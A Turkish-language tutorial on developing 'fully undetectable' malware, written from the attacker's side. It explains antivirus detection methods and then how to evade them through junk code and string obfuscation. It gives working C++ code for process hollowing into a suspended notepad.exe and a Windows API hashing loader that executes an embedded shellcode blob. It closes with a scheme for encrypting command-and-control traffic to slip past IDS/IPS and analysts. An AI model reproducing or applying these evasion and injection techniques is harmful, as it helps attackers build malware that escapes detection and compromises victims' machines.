Malware Development

FUD Nedir ?

FUD, “Fully Undetectable”in kısaltılmış halidir. Yani “tamamen algılanamaz, tamamen yakalanamaz” anlamına gelmektedir. FUD bir malware hiçbir antivirüs programı tarafından algılanamayan, tespit edilemeyen zararlı yazılım anlamına gelmektedir.

fud-resim

Malware Nedir ?

“Malicious Software”ın kısaltılmış halidir. Zararlı yazılımlar da birer bilgisayar programıdır. Her program gibi zararlı yazılımlar da bir takım faaliyetleri yerine getirmek için çeşitli işlemler gerçekleştirir. Bu işlemler, kullanıcıya veyahut kullanıcının bilgisayarına zarar vermek amacıyla kimi zaman kurbanın dosyalarını şifrelemek (Ransomware – Fidye yazılımı), kimi zaman kullanıcın isteği ve izni olmadan kişisel ya da kritik verileri sızdırmak (Spyware) kimi zaman da kullanıcının cihazında reklam göstermek (Adware) olabilir.

Genellikle zararlı yazılımlardan bahsedilince insanların aklına gelen birkaç terimin ne olduğuna bakalım.

Komut Satırı (Command Line) ve Kabuk (Shell)

Shell, işletim sisteminin kullanıcıdan gelen komutları anlayabilmesi ve komutlara uygun işlevleri gerçekleştirebilmesi için kullanıcıdan gelen komutları yorumlayan bir yazılımdır. Shell sayesinde işletim sistemi ile iletişim kurabilir ve bilgisayar üzerinde birçok işlem gerçekleştirebiliriz.

Terminal, kullanıcıların komutları girmesini sağlayan bir arayüzdür. Girilen komutları kabuğa (shell) iletir ve bu sayede istenilen işlemler gerçekleştirilir.

Çoğu zararlı yazılım “client” (zararlı yazılımın çalıştığı yer, kurbanın bilgisayarı) üzerinde çalıştığı zaman komuta kontrol sunucusu (kontrolü saldırganda olan internete açık bir sunucu veya saldırganın bilgisayarı) ile bir bağlantı kurulur. Komuta kontrol sunucusu (C&C veya C2 olarak da tabir edilir) ile kurban arasındaki bağlantı, klasik bir sunucu-istemci (server-client) altyapısıdır.

Bu bağlantı iki şekilde gerçekleşebilir. Siber güvenlik terminolojisiyle, “Reverse shell” ve “Bind shell” olmak üzere iki farklı yöntem kullanılabilir. Peki “Reverse shell” ve “Bind shell” nedir ve aralarında ne gibi farklılıklar vardır ?

Bind shell, saldırganın veya komuta kontrol sunucusunun bağlantıyı başlatarak istemciye bağlanmasıyla sağlanan bağlantıdır.

Reverse shell, bağlantı gerçekleşirken kullanıcının sunucu tarafına bağlantı sağlamasıyla gerçekleşen bağlantıdır.

Firewall cihazları genellikle dışarıya çıkan (outbound) trafikten ziyade, içeri giren (inbound) trafiği engelleyecek şekilde ayarlanmıştır. Host-based Firewall yazılımları varsayılan olarak dışarı çıkan trafiği engellemez çünkü kullanıcının istediği sunucuya istediği port üzerinden bağlanmasını engellemek, kullanıcının kullanımını kısıtlayarak kullanıcı deneyimi üzerinde negatif bir etki bırakmaktadır. Bu sebepten ötürü bizler zararlı yazılım geliştirirken genellikle “reverse” bağlantı sağlarız. Böylece çeşitli güvenlik cihazları tarafından tespit edilme ve engellenme olasılığımızı biraz olsun azaltabiliriz.

Antivirüsler Hangi Teknikleri Kullanır ?

Antivirüslerin zararlı yazılımları tespit etmek için kullandığı bazı teknikler vardır. Bu tekniklerden bazıları:

  • İmza kontrolü
  • String kontrolü
  • Code re-use
  • Skorlama sistemi

olarak bilinir. Peki bu teknikler nasıl işlemektedir ?

Statik Analiz

İmza kontrolü

Antivirüsler daha önce tespit edilen zararlı yazılımların imzalarını bir veri tabanında tutar. Bir dosyayı incelerken önce dosyanın imzasını alırlar ve veri tabanında aratırlar. Eğer herhangi bir imza ile eşleşme var ise dosya karatina altına alınır ve silinir. Bu işlem genellikle disk üzerinde gerçekleşir, statik analiz yöntemidir.

String kontrolü

Programların içerisinde bulunan Stringler program hakkında bilgi verebilir. Örneğin bir program içerisinde "cmd.exe" String varsa büyük bir ihtimalle komut satırı ile iletişime geçecektir. Antivirüsler statik analiz yaparken program içerisinde "cmd.exe, xyz.ddns.net" gibi sorun teşkil edebilecek String değerlerinin olup olmadığına bakar. Antivirüsler dışında da zararlı yazılım analizi yapan kişiler Stringlere bakar.

Dinamik Analiz

Code re-use

Antivirüsler daha önce yakalanmış olan zararlı yazılımların statik veya dinamik örüntüsü taranan programda var mı yok mu diye kontrol eder. Örneğin meterpreter payloadunu şifreleyip bir program içerisine saklasak, çalışma zamanında da deşifre edip yürütsek antivirüs bu programın çalışma zamanında yaptıkları meterpreter'in aynısı ya da çok benzeri der ve tespit eder. Bu örnekte meterpreter'i şifrelemeden koyarsak direkt olarak statik analizde örüntü tespit edilir.

Skorlama sistemi

Programlara çalışma zamanında neler yaptığına göre antivirüsler tarafından bir puan verilir. Antivirüsler, modern çözümler (Sandbox vs.) içerisinde yaptığı dinamik analizler ile program hangi sistem API'ları ile etkileşime geçiyor, hangi processlerle iletişime geçiyor, ağda ne yapıyor gibi sorulara cevap bulmaya çalışır. Analiz sonrasında programa bir puan verilir. Puana göre kullanıcıya ne yapılacağı sorulabilir, program karantinaya alınabilir veyahut antivirüslerin cloud sunucularına yollanabilir.

Antivirüs Atlatma Teknikleri

Yukarıda anlattığım tekniklere baktığımızda hem dinamik analizde hem de statik analizde çoğunlukla daha önce yakalanmış olan zararlı yazılımlar ile karşılaştırmalar yapıldığını görüyoruz. Bu durumda programımızın özgün olması antivirüsleri atlatmak için en önemli özellik diyebiliriz. İnternette bulunan ve yaygın olarak kullanılan zararlı yazılımları kullanmak yerine kendimiz geliştirirsek antivirüsleri rahatlıkla atlatabiliriz. Bu kısımda hem kendi özgün kodumuzu saklamaya yönelik hem de yaygın zararlı yazılımları saklamaya yönelik tekniklerden bahsedeceğim.

Junk Code Ekleme

Scan time'daki imza kontrolünü ve runtime'daki Code re-use analizlerini atlatmak için kodumuzun oluşturduğu zararlı örüntüden kurtulmamız gerekiyor. Bunu sağlayabilmek için "Junk code" eklemesi yapabiliriz. Junk code, programın genel işleyişini bozmadan çalışacak rastgele kod bloklarıdır. Malicious işlemleri arka arkaya yürütmek antivirüsler tarafından yakalanma olasılığımız artırmakta olduğu için malicious işlemler arasına “junk code” eklemek hem run-time’da (arka arkaya malicious işlemler gerçekleşmesini önlüyoruz) hem scan-time’da (kod hacmini arttığı ve arka arkaya gelen malicious kod miktarı azaldığı için yakalanmış kodlardan uzaklaşıyoruz) antivirüs tarafından yakalanma olasılığımızı düşürmektedir. Junk code eklemek aynı zamanda zararlı yazılım analizi yapan kişilerin de işini zorlaştıracaktır. Bu işlemi gerçekleştirirken dikkat etmemiz gereken çok önemli bir unsur var. Junk code eklemesi yapabilecek programlardan uzak durmak! Antivirüsler bu programların junk code üretme ve ekleme algoritmalarını az-çok bildikleri için saptayabilirler ve kodumuzu yakalayabilirler. Yukarıda da söylediğim gibi özgünlük çok önemli.

Code Obfusaction

Code obfuscation, tam olarak bu anlama gelmese de kodu karmaşıklaştırmak anlamına geliyor diyebiliriz. Kod içerisinde kullandığımız variable (değişken) isimlerini, önemli String’leri (örneğin “cmd.exe”,  “xyz.ddns.net”, PORT , HOST gibi) oldukları gibi kod içerisine yerleştirmemeliyiz. Mesela şifreleyip koyabilir ve kod çalışırken deşifre edebiliriz. Ya da bir String belirleyebilir içerisine harfler koyabilir, böylece “cmd.exe” yerine (“c” + harfler[5] (5’in m’nin indexi olarak düşünün) + \u0044 + “.e” + \u2717 + “e”) olarak yazabiliriz. Bu işlem sonrasında hem scan-time’da yakalanma olasılığımız düşecektir hem de kodumuzu analiz etmek isteyen uzmanların işi zorlaşacaktır. Ancak code obfuscation gerçekleştirirken dikkat etmemiz gereken bir unsur var. Code obfuscation işlemini uyguladıktan sonra programımız aynen eskisi gibi çalışmalıdır. Yani obfuscation işlemi işleyişi bozmayacak şekilde uygulanmalıdır.

Code obfuscation örneği

// Normal kod
package main
import "fmt"

func main() {
    message := "hey"
    fmt.Printf("Mesaj: %s\n", message)
}
// Obfuscate edilmiş kod
package main
import "fmt"

func main() {
    asdf := (func() string {
        mask := []byte{33, 15, 199}
        maskedStr := []byte{73, 106, 190}
        res := make([]byte, 3)
        for i, m := range mask {
            res[i] = m ^ maskedStr[i]
        }
        return string(res)
    }())
    fmt.Printf("Mesaj: %s\n", asdf)
}

Görüldüğü üzere kod içerisindeki String kod çalışmadan anlamdırılamaz halde. Böylece antivirüslerin kritik Stringleri saptamasını engelleyebiliyoruz. Ayrıca zararlı yazılım analizi yapan kişiler "strings" komutu çalıştırarak kritik Stringlerin var olup olmadığına baktığında herhangi bir sıkıntı görmeyeceklerdir.

Process Hollowing (Dynamic Forking)

Process hollowing (dynamic forking), bir programı legit olarak suspended mode'da başlattıktan sonra process'i unmap edip içerisine zararlı kodu yazdığımız yöntemin adıdır. Sırasyıla aşağıdaki gibi işler:

  1. CREATE_SUSPENDED parametresini ve bir EXE pathi vererek CreateProcess API'ını çağırırız. Böylece suspended mode'da legit bir process ayağa kalkar.
  2. GetThreadContext API ile process'in register (yazmaç) değerlerini alırız. EAX yazmacı process'in entry pointini (giriş noktasını), EBX yazmacı da Windows'un base adresi, heap, kullanılan modüller ve environment değişkenleri gibi bilgileri tuttuğu userland structure olan PEB'i tutar.
  3. PEB'ten process'in base adresini alırız. ([EBX + 8])
  4. Zaralıyı belleğe çekeriz. (EXE'yi okuruz)
  5. Oluşturduğumuz legit process'i NtUnmapViewSection API ile unmap ederiz (boşaltırız). Daha sonra VirtualAllocEx API ile kendi zararlımız için gerekli alanı legit process'in bellek alanında ayırırız. Gerekli bellek alanı oluşturduktan sonra WriteProcessMemory API ile kendi zararlımızı bellek alanına yazarız.
  6. Bellek alanına yazdığımız zararlının çalışabilmesi için yazmaçların güncellenmesi gerekiyor. Zararlının PEB'teki base adresini [EBX + 8] üzerine, EAX yazmacı üzerine de zararlının entry pointini yazarız.
  7. Yeni yazmaç değerlerini suspended process'in kullanması için SetThreadContext API ile güncelleriz.
  8. En son olarak process'in çalışır hale gelmesi (suspended mode'dan çıkması) için ResumeThread API'nı kullanırız.

Process Hollowing örneği

// main.cpp : This file contains the 'main' function. Program execution begins and ends there.
//

#include "pch.h"
#include <iostream>
#include <Windows.h>
#include <winternl.h>

using NtUnmapViewOfSection = NTSTATUS(WINAPI*)(HANDLE, PVOID);

typedef struct BASE_RELOCATION_BLOCK {
	DWORD PageAddress;
	DWORD BlockSize;
} BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK;

typedef struct BASE_RELOCATION_ENTRY {
	USHORT Offset : 12;
	USHORT Type : 4;
} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;

int main()
{
	// create destination process - this is the process to be hollowed out
	LPSTARTUPINFOA si = new STARTUPINFOA();
	LPPROCESS_INFORMATION pi = new PROCESS_INFORMATION();
	PROCESS_BASIC_INFORMATION *pbi = new PROCESS_BASIC_INFORMATION();
	DWORD returnLenght = 0;
	CreateProcessA(NULL, (LPSTR)"c:\\windows\\syswow64\\notepad.exe", NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, si, pi);
	HANDLE destProcess = pi->hProcess;

	// get destination imageBase offset address from the PEB
	NtQueryInformationProcess(destProcess, ProcessBasicInformation, pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLenght);
	DWORD pebImageBaseOffset = (DWORD)pbi->PebBaseAddress + 8; 
	
	// get destination imageBaseAddress
	LPVOID destImageBase = 0;
	SIZE_T bytesRead = NULL;
	ReadProcessMemory(destProcess, (LPCVOID)pebImageBaseOffset, &destImageBase, 4, &bytesRead);

	// read source file - this is the file that will be executed inside the hollowed process
	HANDLE sourceFile = CreateFileA("C:\\temp\\regshot.exe", GENERIC_READ,	NULL, NULL, OPEN_ALWAYS, NULL, NULL);
	DWORD sourceFileSize = GetFileSize(sourceFile, NULL);
	LPDWORD fileBytesRead = 0;
	LPVOID sourceFileBytesBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sourceFileSize);
	ReadFile(sourceFile, sourceFileBytesBuffer, sourceFileSize, NULL, NULL);
	
	// get source image size
	PIMAGE_DOS_HEADER sourceImageDosHeaders = (PIMAGE_DOS_HEADER)sourceFileBytesBuffer;
	PIMAGE_NT_HEADERS sourceImageNTHeaders = (PIMAGE_NT_HEADERS)((DWORD)sourceFileBytesBuffer + sourceImageDosHeaders->e_lfanew);
	SIZE_T sourceImageSize = sourceImageNTHeaders->OptionalHeader.SizeOfImage;

	// carve out the destination image
	NtUnmapViewOfSection myNtUnmapViewOfSection = (NtUnmapViewOfSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtUnmapViewOfSection"));
	myNtUnmapViewOfSection(destProcess, destImageBase);

	// allocate new memory in destination image for the source image
	LPVOID newDestImageBase = VirtualAllocEx(destProcess, destImageBase, sourceImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	destImageBase = newDestImageBase;

	// get delta between sourceImageBaseAddress and destinationImageBaseAddress
	DWORD deltaImageBase = (DWORD)destImageBase - sourceImageNTHeaders->OptionalHeader.ImageBase;

	// set sourceImageBase to destImageBase and copy the source Image headers to the destination image
	sourceImageNTHeaders->OptionalHeader.ImageBase = (DWORD)destImageBase;
	WriteProcessMemory(destProcess, newDestImageBase, sourceFileBytesBuffer, sourceImageNTHeaders->OptionalHeader.SizeOfHeaders, NULL);

	// get pointer to first source image section
	PIMAGE_SECTION_HEADER sourceImageSection = (PIMAGE_SECTION_HEADER)((DWORD)sourceFileBytesBuffer + sourceImageDosHeaders->e_lfanew + sizeof(IMAGE_NT_HEADERS32));
	PIMAGE_SECTION_HEADER sourceImageSectionOld = sourceImageSection;
	int err = GetLastError();

	// copy source image sections to destination
	for (int i = 0; i < sourceImageNTHeaders->FileHeader.NumberOfSections; i++)
	{
		PVOID destinationSectionLocation = (PVOID)((DWORD)destImageBase + sourceImageSection->VirtualAddress);
		PVOID sourceSectionLocation = (PVOID)((DWORD)sourceFileBytesBuffer + sourceImageSection->PointerToRawData);
		WriteProcessMemory(destProcess, destinationSectionLocation, sourceSectionLocation, sourceImageSection->SizeOfRawData, NULL);
		sourceImageSection++;
	}

	// get address of the relocation table
	IMAGE_DATA_DIRECTORY relocationTable = sourceImageNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
	
	// patch the binary with relocations
	sourceImageSection = sourceImageSectionOld;
	for (int i = 0; i < sourceImageNTHeaders->FileHeader.NumberOfSections; i++)
	{
		BYTE* relocSectionName = (BYTE*)".reloc";
		if (memcmp(sourceImageSection->Name, relocSectionName, 5) != 0) 
		{
			sourceImageSection++;
			continue;
		}

		DWORD sourceRelocationTableRaw = sourceImageSection->PointerToRawData;
		DWORD relocationOffset = 0;

		while (relocationOffset < relocationTable.Size) {
			PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)((DWORD)sourceFileBytesBuffer + sourceRelocationTableRaw + relocationOffset);
			relocationOffset += sizeof(BASE_RELOCATION_BLOCK);
			DWORD relocationEntryCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
			PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)((DWORD)sourceFileBytesBuffer + sourceRelocationTableRaw + relocationOffset);

			for (DWORD y = 0; y < relocationEntryCount; y++)
			{
				relocationOffset += sizeof(BASE_RELOCATION_ENTRY);

				if (relocationEntries[y].Type == 0)
				{
					continue;
				}

				DWORD patchAddress = relocationBlock->PageAddress + relocationEntries[y].Offset;
				DWORD patchedBuffer = 0;
				ReadProcessMemory(destProcess,(LPCVOID)((DWORD)destImageBase + patchAddress), &patchedBuffer, sizeof(DWORD), &bytesRead);
				patchedBuffer += deltaImageBase;

				WriteProcessMemory(destProcess,	(PVOID)((DWORD)destImageBase + patchAddress), &patchedBuffer, sizeof(DWORD), fileBytesRead);
				int a = GetLastError();
			}
		}
	}

	// get context of the dest process thread
	LPCONTEXT context = new CONTEXT();
	context->ContextFlags = CONTEXT_INTEGER;
	GetThreadContext(pi->hThread, context);

	// update dest image entry point to the new entry point of the source image and resume dest image thread
	DWORD patchedEntryPoint = (DWORD)destImageBase + sourceImageNTHeaders->OptionalHeader.AddressOfEntryPoint;
	context->Eax = patchedEntryPoint;
	SetThreadContext(pi->hThread, context);
	ResumeThread(pi->hThread);

	return 0;
}

Process hollowing zararlımızı saklamak için güzel bir yöntem olsa da kendisi antivirüsler tarafından rahatlıkla tespit edilebiliyor. Bu yöntemde çok fazla Windows API'ı kullanıyoruz ve kullandığımız API başka processler ile iletişime geçmeye yönelik API'lar. (WriteProcessMemory, VirtualAllocEx vs.) Antivirüslerin Process Hollowing yöntemi kullandığımızı anlamaması için öncelikle örüntü bozmalıyız. Mesela VirutalAllocEx kullanmadan önce GetModuleNameA kullanabiliriz ancak örüntüyü bozarken API kullanımı arttırdığımızı unutmayın, yani çok abartmayın. En etkin yöntem ise hem statik analiz zamanında hem dinamik analiz zamanında API kullandığımızı olabildiğince gizlemek. Bunu sağlayabilmek için Windows API Hashing adında çok işe yarayan bir yöntem kullanabiliriz.

Windows API Hashing

Windows API Hashing yönteminde API'ları çağırmak yerine LoadLibraryA API aracılığı ile Kernel32.dll'i getiririz. Daha sonra kütüphanenin export ettiği API'ları iterate eder ve isimlerinin hashini alırız. Alınan hash ile kullanmak istediğimiz API'ın isminin hashi eşleşiyorsa export edilen yerin adresini alırız. Böylece statik zamanda imports kısmında kullanacağımız API'lardan herhangi biri görülmez. Ayrıca çalışma zamanında da direkt olarak API'a erişmek yerine bellek adresini kullanarak API ile yapacaklarımızı yaparız. Böylece hem statik hem de dinamik analizlerde kullandığımız API'lar antivirüsler tarafından tespit edilmez.

Windows API Hashing örneği

// main.cpp : This file contains the 'main' function. Program execution begins and ends there.
//

#define CRYPTOPP_ENABLE_NAMESPACE_WEAK 1

#include "cryptlib.h"
#include <hex.h>
#include <md5.h>
#include <files.h>
#include <iostream>
#include <Windows.h>


using namespace CryptoPP;
using namespace std;

string getHashFromString(string message) {
    Weak::MD5 hash;
    byte digest[Weak::MD5::DIGESTSIZE];

    hash.CalculateDigest(digest, (byte*)message.c_str(), message.length());

    HexEncoder encoder;
    string output;
    encoder.Attach(new StringSink(output));
    encoder.Put(digest, sizeof(digest));
    encoder.MessageEnd();

    return output;
}

PDWORD getFunctionAddressByHash(char* library, string hash)
{
	PDWORD functionAddress = (PDWORD)0;

	// Modülün base adresini alıyoruz. Bu örnekte VirutalAlloc kullanacağımız için kernel32'in base adresini alıyoruz.
	HMODULE libraryBase = LoadLibraryA(library);

	PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)libraryBase;
	PIMAGE_NT_HEADERS imageNTHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)libraryBase + dosHeader->e_lfanew);

	DWORD_PTR exportDirectoryRVA = imageNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;

	PIMAGE_EXPORT_DIRECTORY imageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((DWORD_PTR)libraryBase + exportDirectoryRVA);

	// Export edilen fonksiyonlar (API'lar) ile alakalı bilgileri alıyoruz.
	PDWORD addresOfFunctionsRVA = (PDWORD)((DWORD_PTR)libraryBase + imageExportDirectory->AddressOfFunctions);
	PDWORD addressOfNamesRVA = (PDWORD)((DWORD_PTR)libraryBase + imageExportDirectory->AddressOfNames);
	PWORD addressOfNameOrdinalsRVA = (PWORD)((DWORD_PTR)libraryBase + imageExportDirectory->AddressOfNameOrdinals);

	// Export edilen fonksiyonları iterate ediyoruz ve her fonksiyonun hashini alıp elimizdeki hash () ile karşılaştırıyoruz.
	// Eğer hashler eşleşiyorsa aradığımız fonksiyonu (API'ı) bellekteki yerini bulduk demektir.
	for (DWORD i = 0; i < imageExportDirectory->NumberOfFunctions; i++)
	{
		DWORD functionNameRVA = addressOfNamesRVA[i];
		DWORD_PTR functionNameVA = (DWORD_PTR)libraryBase + functionNameRVA;
		char* functionName = (char*)functionNameVA;
		DWORD_PTR functionAddressRVA = 0;

		// Export edilen fonksiyonun hashini alıyoruz
		string functionNameHash = getHashFromString(functionName);

		// Eğer hashler eşleştiyse fonksiyonun adresini alıyoruz.
		if (functionNameHash.compare(hash) == 0)
		{
			functionAddressRVA = addresOfFunctionsRVA[addressOfNameOrdinalsRVA[i]];
			functionAddress = (PDWORD)((DWORD_PTR)libraryBase + functionAddressRVA);
			printf("%s : 0x%x : %p\n", functionName, functionNameHash, functionAddress);
			return functionAddress;
		}
	}
}

// Bellekte bulduğumuz fonksiyona için gerekecek. İstediğimiz API'nin imzasını oluşturuyoruz.
using customVirtualAlloc = LPVOID(NTAPI*)(
	LPVOID lpAddress,
	SIZE_T dwSize,
	DWORD  flAllocationType,
	DWORD  flProtect
);

int main(int argc, char* argv[])
{
	unsigned char shellcode[] =
		"\xdb\xd9\xd9\x74\x24\xf4\x5a\x31\xc9\xb1\x59\xbe\x2b\xb0\x4b"
		"\x61\x83\xea\xfc\x31\x72\x15\x03\x72\x15\xc9\x45\xb7\x89\x82"
		"\xa6\x48\x4a\xfc\x2f\xad\x7b\x2e\x4b\xa5\x2e\xfe\x1f\xeb\xc2"
		"\x75\x4d\x18\xd4\x3e\x38\x06\xdb\xbf\x36\x34\x33\x0e\x89\x15"
		"\x7f\x11\x75\x64\xac\xf1\x44\xa7\xa1\xf0\x81\x71\xcf\x1d\x5f"
		"\x09\x7d\xf1\xeb\x4f\xbe\xf0\x3b\xc4\xfe\x8a\xec\x5e\x3e\x1e"
		"\x5f\x60\x6f\x8e\xd4\x3a\xaf\xa5\xa3\xa2\xae\x6a\xb6\x1a\xc4"
		"\xb0\xf0\xad\xda\x43\x36\x45\x25\x85\x06\x99\xe7\xe6\x64\xb5"
		"\xe9\x3f\x4e\x25\x9c\x4b\xac\xd8\xa7\x88\xce\x06\x2d\x0e\x68"
		"\xcc\x95\xea\x88\x01\x43\x79\x86\xee\x07\x25\x8b\xf1\xc4\x5e"
		"\xb7\x7a\xeb\xb0\x31\x38\xc8\x14\x19\x9a\x71\x0d\xc7\x4d\x8d"
		"\x4d\xaf\x32\x2b\x06\x42\x24\x4b\xe7\x9c\x49\x11\x7f\x50\x84"
		"\xaa\x7f\xfe\x9f\xd9\x4d\xa1\x0b\x76\xfd\x2a\x92\x81\x74\x3c"
		"\x25\x5d\x3e\x2d\xdb\x5e\x3e\x67\x18\x0a\x6e\x1f\x89\x33\xe5"
		"\xdf\x36\xe6\x93\xd5\xa0\xc9\xcb\x33\xb2\xa2\x09\xc4\xb2\x89"
		"\x84\x22\xe4\xbd\xc6\xfa\x45\x6e\xa6\xaa\x2d\x64\x29\x94\x4e"
		"\x87\xe0\xbd\xe5\x68\x5c\x95\x91\x11\xc5\x6d\x03\xdd\xd0\x0b"
		"\x03\x55\xd0\xec\xca\x9e\x91\xfe\x3b\xf9\x59\xff\xbb\x6c\x59"
		"\x95\xbf\x26\x0e\x01\xc2\x1f\x78\x8e\x3d\x4a\xfb\xc9\xc2\x0b"
		"\xcd\xa2\xf5\x99\x71\xdd\xf9\x4d\x71\x1d\xac\x07\x71\x75\x08"
		"\x7c\x22\x60\x57\xa9\x57\x39\xc2\x52\x01\xed\x45\x3b\xaf\xc8"
		"\xa2\xe4\x50\x3f\xb1\xe3\xae\xbd\x9e\x4b\xc6\x3d\x9f\x6b\x16"
		"\x54\x1f\x3c\x7e\xa3\x30\xb3\x4e\x4c\x9b\x9c\xc6\xc7\x4a\x6e"
		"\x77\xd7\x46\x2e\x29\xd8\x65\xeb\xda\xa3\x06\x0c\x1b\x54\x0f"
		"\x69\x1c\x54\x2f\x8f\x21\x82\x16\xe5\x64\x16\x2d\xf6\xd3\x3b"
		"\x04\x9d\x1b\x6f\x56\xb4";

	// Hash kullanarak fonksiyon adresini alıyoruz.
	PDWORD functionAddress = getFunctionAddressByHash((char*)"kernel32", "A0A81327956B7290CCA770DB8DC2A536");

	// VirtualAlloc'un sanal adresine point ediyoruz.
	customVirtualAlloc VirtualAlloc = (customVirtualAlloc)functionAddress;

	void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memcpy(exec, shellcode, sizeof shellcode);
	((void(*)())exec)();

	return 0;
}
// A0A81327956B7290CCA770DB8DC2A536 -> VirtualAlloc'un hashi

Bu kodda shellcode çalıştırırken VirtualAlloc kullandığımızı Windows API Hashing kullanarak saklıyoruz. CFF Explorer gibi statik analiz araçları ile incelediğimizde Imports kısmında VirtualAlloc'u göremeyeceğiz. Ayrıca çalışma zamanında da hem VirtualAlloc String olarak hiçbir yerde geçmiyor hem de zaten halihazırda bellekte olan bir yere pointer koyarak VirtualAlloc'u kullanıyoruz, direkt olarak kullanmadığımız için çok dikkat çekmiyor. Bu tekniği Process Hollowing yaparken kullanırsak evasion ciddi oranda artacaktır.

İletişimi Şifrelemek

Ağ iletişimi hem antivirüsler tarafından hem firewall tarafından hem de kurum içerisinde çalışan siber güvenlik uzmanları tarafından izlenmektedir. Bu yüzden özellikle ağ iletişimimiz içerisinde zararlı olabilecek komutların var olması büyük problem teşkil edeceği için sunucu ile istemci arasındaki iletişimin korunması, saklanması gerekir. Bu sebepten ötürü iletişimimizi şifreli bir şekilde gerçekleştirmek hem ağı izlemekte olan kişileri hem de güvenlik çözümlerini (IPS/IDS gibi) atlatabilmek için çok önemli bir işlemdir. İletişimi şifrelerken dikkat etmemiz gereken en önemli yer anahtarın gizliliği, güvenliğidir. Örneğin AES şifreleme kullanarak şifreleme yapacaksak AES şifrelemede kullanacağımız anahtarı hard-coded olarak tutmamalıyız, çalışma zamanında rastgele üretmeliyiz. Böylece her istemcinin kendisine özgü ve rastgele oluşturulmuş bir anahtarı olacaktır. Ancak bu anahtarı sunucu direkt iletirsek ağı izleyen ürünlere ve kişilere direkt olarak anahtarı sunarız. Bunu önlemek için anahtarı sunucuya gönderirken yalnızca sunucunun anlayacağı şekilde yollamalıyız. Ben sırasıyla aşağıdaki adımları izliyorum:

  1. Sunucu RSA private key ve public key'lerini üretiyor.
  2. İstemci;
    1. Sunucudan public key'i alıyor.
    2. Crypto kütüphanesi kullanarak rastgele ve çok uzun bir anahtar üretiyor.
    3. Üretilen anahtarı sunucunun RSA public key'i ile şifreliyor.
    4. Şifrelenen anahtarı sunucuya gönderiyor.
  3. Sunucu şifrelenmiş anahtarı alıyor ve RSA private key ile deşifre ediyor.

RSA şifreleme algoritması sayesinde şifrelenmiş anahtarı yalnızca sunucu deşifre edebiliyor.